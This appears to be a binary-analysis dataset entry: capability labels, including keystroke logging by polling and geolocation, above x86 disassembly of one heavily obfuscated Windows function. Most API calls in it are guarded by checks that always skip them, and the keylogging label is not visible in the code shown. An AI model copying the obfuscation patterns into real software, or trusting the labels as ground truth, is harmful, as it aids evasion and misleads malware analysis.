Function at 0x45cfdd
Capabilities:
Accept command line arguments
Compare security identifiers
Get geographical location
Get session user name
Log keystrokes via polling
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1284
call fcn.004a6a20
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x2c], 0x689bb5c
push 2
mov dword [ebp - 0x18], eax
pop esi
mov byte [ebp - 0x4d], dl
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x18], esi
jge 0x45d01f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x45d007
xor eax, eax
push 1
pop ebx
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xfffffff5
push 4
pop edi
jg 0x45d17b
mov dword [ebp - 0x1c], 0x60f7e730
mov dword [ebp - 0x3c], 0xffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x45d065
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa48], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x45d051
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x45d07b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd2c], 0x832cb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x45d06a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xd0]
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xd4]
setne cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0xd0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
imul ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
mov eax, dword [ebp - 0xd24]
setl cl
xor edx, edx
imul ecx, ecx, 0xcf6a
cmp ecx, eax
setne dl
neg edx
mov dword [ebp - 0xd24], edx
je 0x45d10f
mov eax, dword [ebp - 0xd24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xe588
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45d12f
cmp dword [ebp - 0x3c], eax
je 0x45d12f
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x45d132
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x45d141
cmp dword [ebp - 0x3c], eax
je 0x45d143
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x45d15d
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45d15f
mov eax, ebx
jmp 0x45d15f
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0xd4]
cmp dword [ebp - 0xd4], 0xfffffff5
push 0
pop eax
jle 0x45d038
mov dword [ebp - 0x18], 0xe1757117
mov dword [ebp - 0x18], eax
jmp 0x45d1a9
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x20], eax
jne 0x45d1af
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d1a6
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jl 0x45d187
mov dword [ebp - 0xc], 0xfffffff8
mov dword [ebp - 0x2c], 0x5c62e089
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], eax
jmp 0x45d1d6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x648], 0x9a924c00
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x45d1c5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc]
jge 0x45d1f0
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x45d1f2
mov eax, ebx
mov dword [ebp - 0x644], eax
push 0xfffffffffffffffd
mov dword [ebp - 0x24], 6
pop ecx
cmp dword [ebp - 0x24], ecx
jl 0x45d231
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x45d229
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x648], 0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x45d211
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jge 0x45d209
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x45d253
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x45d23b
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x45d273
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x698], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x45d25b
xor eax, eax
push 3
pop edi
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], edi
jg 0x45d2cc
mov dword [ebp - 0x24], 9
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d29d
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x45d2bb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf4c], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x45d2a6
xor eax, eax
inc dword [ebp - 0x690]
cmp dword [ebp - 0x690], edi
jle 0x45d284
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x2c], 0x689bb5c
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x45d2f3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x45d2de
xor eax, eax
mov dword [ebp - 0x80], 0xffffffec
jmp 0x45d470
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45d318
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45d307
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45d331
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45d320
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jg 0x45d46d
mov dword [ebp - 0x14], 0xcd49598a
mov dword [ebp - 0x18], eax
jmp 0x45d35a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc50], 0x54ab1007
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x45d349
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x54]
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x45d38d
cmp dword [ebp - 0x80], eax
jne 0x45d389
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x54], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov edx, ebx
jmp 0x45d38f
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], eax
jmp 0x45d451
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], 0xffffffea
jmp 0x45d3c1
mov dword [ebp - 0x20], 0x717f
cmp dword [ebp - 0x20], eax
jne 0x45d3c7
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jle 0x45d3b2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x45d44e
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x54], ecx
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], eax
jl 0x45d447
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp + eax*4 - 0x54], 0xe6966ef3
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x54], ecx
je 0x45d414
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x54], ecx
je 0x45d414
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x54]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xc4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 0x1c]
setns cl
add eax, ecx
mov dword [ebp - 0x20], eax
dec dword [ebp - 0xc]
jns 0x45d3ee
dec dword [ebp - 0x1c]
jns 0x45d3cf
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1d
je 0x45d3a6
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
push 0
pop eax
jle 0x45d33d
push 0xfffffffffffffffd
pop ecx
inc dword [ebp - 0x80]
cmp dword [ebp - 0x80], ecx
jg 0x45d2ff
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d491
push 0x4aa
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x45d4b1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x45d499
xor eax, eax
mov dword [ebp - 0x28], 0x3623
mov dword [ebp - 0x3c], 0x3af7
mov dword [ebp - 0x40], 0xb622b607
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x45d4e9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10c], 0xfffffff9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x45d4d1
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x45d50b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x254], 0x7632667a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x45d4f2
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x45d52b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7a8], 0xaba8d6e8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x45d513
xor eax, eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], ebx
jge 0x45d55a
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x10c], 0xcd795364
inc dword [ebp - 0x24c]
cmp dword [ebp - 0x24c], ebx
jl 0x45d539
xor eax, eax
cmp dword [ebp - 0x10c], eax
je 0x45d5c4
inc dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0x24c]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x10c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x7a8], ebx
mov eax, dword [ebp - 0x7a8]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10c]
mov eax, ebx
xor edx, edx
mov esi, dword [sym.imp.USER32.dll_GetDC]
cmp eax, 0xfff8
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [ebp - 0x24c]
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, 0x96dd1e1e
setne cl
cmp ebx, ecx
mov ecx, dword [ebp - 0x3c]
sbb eax, eax
neg eax
imul ecx, eax
mov eax, 0xcd4d3380
sub ecx, dword [ebp - 0x24c]
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x24c], eax
xor eax, eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xfffffff5
jg 0x45de5f
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x964], edx
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x45d660
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4bc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45d64c
xor eax, eax
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x4b4], 0xfffffff8
jmp 0x45d6a0
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x18], eax
jmp 0x45d694
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d691
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jne 0x45d67e
inc dword [ebp - 0x4b4]
cmp dword [ebp - 0x4b4], 0x19
jge 0x45d672
mov dword [ebp - 0x1c], 0x60f7e730
mov dword [ebp - 0x30], 0xa17d
mov dword [ebp - 0x24], 0xfaab39e2
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45d6e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4d0], 0x6847dfa8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45d6c9
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x45d703
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], 0x871c7bf0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x45d6ea
xor eax, eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], eax
jl 0x45d86e
mov dword [ebp - 0x10], 0xe6da504
mov dword [ebp - 0x2c], 0x5ff57440
mov dword [ebp - 0x2c], 0x82f744ed
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x45d7e7
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], eax
jmp 0x45d74f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa58], 0x9c3f9080
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x45d73e
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
inc eax
je 0x45d784
xor eax, eax
cmp eax, dword [ebp - 0x10]
je 0x45d795
mov eax, ebx
jmp 0x45d786
xor eax, eax
cmp eax, dword [ebp - 0x10]
jle 0x45d795
xor eax, eax
cmp dword [ebp - 0x218], eax
je 0x45d797
mov eax, ebx
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x3c]
setne cl
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
push 0
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
sub eax, 0xe53e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa58], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0
pop eax
jle 0x45d736
mov dword [ebp - 0x14], eax
jmp 0x45d85d
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d836
push 0x1ea4
push 0x17e0
push 0x1a8e
push 0x57c
push 0xd53
call edi
push eax
call esi
push eax
push 0x936
push 0x1a1b
push 0x1fd5
push 0x2462
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x45d85a
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d855
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
xor eax, eax
dec dword [ebp - 0x30]
jns 0x45d83e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x45d7ec
dec dword [ebp - 0x21c]
jns 0x45d715
mov dword [ebp - 0x24], 0xd
jmp 0x45d8b3
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0x15
jmp 0x45d8aa
cmp dword [ebp - 0x4d0], eax
je 0x45d892
cmp dword [ebp - 0x20], eax
jne 0x45d8b0
jmp 0x45d8a7
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d8a7
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
je 0x45d883
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jle 0x45d877
mov dword [ebp - 0x40], 0xf37831e4
mov dword [ebp - 0x28], 0x580d416d
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0x5131d8b9
mov dword [ebp - 0x28], 0x9ebf495e
mov dword [ebp - 0x28], 0x29f58382
mov dword [ebp - 0x28], 0xa2b82c44
mov dword [ebp - 0x28], 0x20f746e3
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45d914
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcc8], 0xcf5720e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45d8fc
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x45d932
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xffc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x45d91d
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d944
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jl 0x45da2c
push 3
pop ecx
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x28], 0x23fa3a92
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0xe0752570
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x45d98e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1174], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45d976
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45d9b0
push ebx
push 0x169b
push 0x284
call edi
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x18], eax
jmp 0x45da1e
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x28], 0x99a5671
mov dword [ebp - 0x28], 0x859bb7a1
mov dword [ebp - 0x28], 0x223b16aa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x45d9f6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11e4], 0xda2ae7b7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x45d9dd
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x45da18
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf54], 0xb07fb07d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x45d9ff
xor eax, eax
inc dword [ebp - 0x2c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x45d9b5
dec dword [ebp - 0x40]
jns 0x45d953
mov dword [ebp - 0x40], 0xffff
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x20], 0xb24adc9f
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x15
jl 0x45db09
push 5
pop ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x2c], ecx
push 3
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x45da77
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe98], 0xbe3d0e72
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45da66
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setle dl
xor ebx, ebx
cmp edx, 0xcd3b
setle bl
xor ecx, ecx
cmp eax, ebx
setg cl
add ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0xc]
je 0x45dabc
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x45dabc
xor ebx, ebx
inc ebx
jmp 0x45dac1
xor ebx, ebx
inc ebx
mov eax, ebx
add eax, 0xffff98d5
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x38]
sub eax, 6
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0xe98], eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x45daf9
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x15
push 0
pop eax
jge 0x45da55
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], 0xc7bf0b96
push 3
mov dword [ebp - 0x28], 0x1dba3399
pop ecx
mov dword [ebp - 0x2c], 0x4ab2
mov dword [ebp - 0x18], eax
push 4
pop edx
cmp dword [ebp - 0x18], ecx
jge 0x45db43
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1114], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45db2f
xor eax, eax
inc dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0xfffffff2
cmp dword [ebp - 0x30], 0x18
jg 0x45db8c
jmp 0x45db57
xor eax, eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x18], eax
jmp 0x45db74
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd00], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x45db63
mov eax, dword [ebp - 0xcfc]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
jle 0x45db55
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x45dbac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa68], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x45db97
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x45dbcc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd48], 0x832cb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x45dbb4
xor eax, eax
mov dword [ebp - 0x28], 0x257a10dd
mov dword [ebp - 0x3c], 0x6773196e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45dbfa
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x184], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45dbe2
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x45dc16
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45dc02
xor eax, eax
cmp dword [ebp - 0x184], eax
je 0x45dc85
mov dword [ebp - 0x18], 0xc4d8e5c
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45dc47
push eax
push 0xa12
push eax
push 0xdf3
push 0x13b9
call dword [sym.imp.GDI32.dll_ExtCreatePen]
xor eax, eax
mov dword [ebp - 0x18], 0xe
jmp 0x45dc7a
mov dword [ebp - 0x24], 0x2e31d832
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x45dc77
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x184], 0x7a3a11c1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x45dc5f
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff7
jl 0x45dc50
jmp 0x45dd5f
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x20], 0x571c097b
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 8
jl 0x45dd3f
mov dword [ebp - 0x28], 0x12a7b09f
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x45dcc7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x78], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x45dcb6
xor eax, eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], eax
jl 0x45dcf6
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45dcf1
push eax
push 0x6ba
push 0x11ee
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
xor eax, eax
dec dword [ebp - 0x78]
jns 0x45dccf
inc dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
cmp ecx, eax
mov eax, dword [ebp - 0x78]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
push 0
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setge cl
add ecx, dword [ebp - 0x78]
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 8
push 1
pop ebx
jge 0x45dca0
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45dd5f
push 0x12d5
push 0x789
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xa68], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xb0]
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xb4]
setne cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0xb0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
imul ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
mov eax, dword [ebp - 0xd40]
setl cl
xor edx, edx
imul ecx, ecx, 0xcf6a
cmp ecx, eax
setne dl
neg edx
mov dword [ebp - 0xd40], edx
